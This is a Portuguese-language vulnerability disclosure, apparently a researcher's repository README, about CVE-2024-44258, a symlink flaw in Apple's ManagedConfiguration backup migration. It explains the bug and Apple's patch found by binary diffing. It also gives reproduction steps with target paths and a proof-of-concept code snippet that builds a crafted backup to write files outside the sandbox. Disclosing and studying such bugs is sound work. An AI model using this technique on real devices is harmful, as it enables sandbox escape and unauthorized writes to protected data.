
CVE-2024-44258
CVE-2024-44258 destaca uma vulnerabilidade de link simbólico no framework ManagedConfiguration e no daemon profiled em dispositivos Apple. Ao restaurar um backup maliciosamente elaborado, o processo de migração falha ao validar se a pasta de destino é um link simbólico (symlink), levando à migração não autorizada de arquivos para áreas restritas.
CVE-2024-44258 foi atribuído a este problema. CVEs são identificadores únicos para vulnerabilidades de segurança divulgadas publicamente.
Para mais informações, consulte as páginas oficiais de suporte da Apple:
A vulnerabilidade permite que atacantes explorem links simbólicos durante uma restauração de backup para contornar restrições de pastas, escrevendo arquivos em áreas protegidas ou em sandbox. Esta falha pode potencialmente permitir acesso não autorizado a dados, escalada de privilégios ou exploração de outros serviços que dependem da configuração modificada.
Criar um backup maliciosamente elaborado
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Adicionar arquivos desejados
/private/var/mobile/Library/ConfigurationProfilesRestaurar o backup maliciosamente elaborado
Reiniciar o dispositivo
Esperado:
/private/var/mobile/Library/ConfigurationProfiles deve migrar para:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Real:
Devido ao link simbólico maliciosamente elaborado, os arquivos são migrados para uma pasta restrita que pode conter dados sensíveis ou protegidos.
Esta vulnerabilidade tem sido observada em exploração ativa por vários meses, indicando sua exploração ativa.
No iOS 18.1 beta5, a Apple introduziu uma correção para resolver a vulnerabilidade de link simbólico no framework ManagedConfiguration. A função _MCDestinationPathIsSafeFromSymlinkAttacks foi adicionada para realizar uma verificação de segurança no caminho de destino, impedindo a migração não autorizada de arquivos para áreas restritas. Esta verificação foi especificamente adicionada à função MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]A correção da vulnerabilidade foi implementada modificando a função -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], que é responsável por lidar com migrações de arquivos no framework ManagedConfiguration. Veja como a correção funciona:
Adição da Verificação de Link Simbólico
A Apple adicionou uma chamada para _MCDestinationPathIsSafeFromSymlinkAttacks no início de MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Esta função agora verifica se o caminho de destino está livre de links simbólicos, adicionando uma camada de proteção antes de realizar qualquer operação de migração.
Verificação de Condição
Se _MCDestinationPathIsSafeFromSymlinkAttacks detectar um link simbólico no caminho de destino, impede que a migração prossiga. A função registra uma mensagem de falha usando OS_LOG_TYPE_FAULT e sai precocemente, interrompendo a operação de arquivo.
Usando Diaphora no IDA, uma comparação de diferenças entre iOS 18.1 beta4 e iOS 18.1 beta5 revela as alterações na função -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. A imagem abaixo mostra o código modificado com a verificação de link simbólico adicionada.

Abaixo está um trecho de código de exemplo demonstrando como criar um backup que explora a vulnerabilidade. Este código descreve como adicionar link simbólico e arquivos ao backup, simulando o processo sem fornecer o arquivo de backup malicioso real.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
Agradecimentos especiais à equipe de segurança da Apple pela resposta rápida e colaboração.
Vulnerabilidade descoberta por Hichem Maloufi & Christian Mina
Este repositório está licenciado sob a Licença MIT. Consulte LICENSE para mais informações.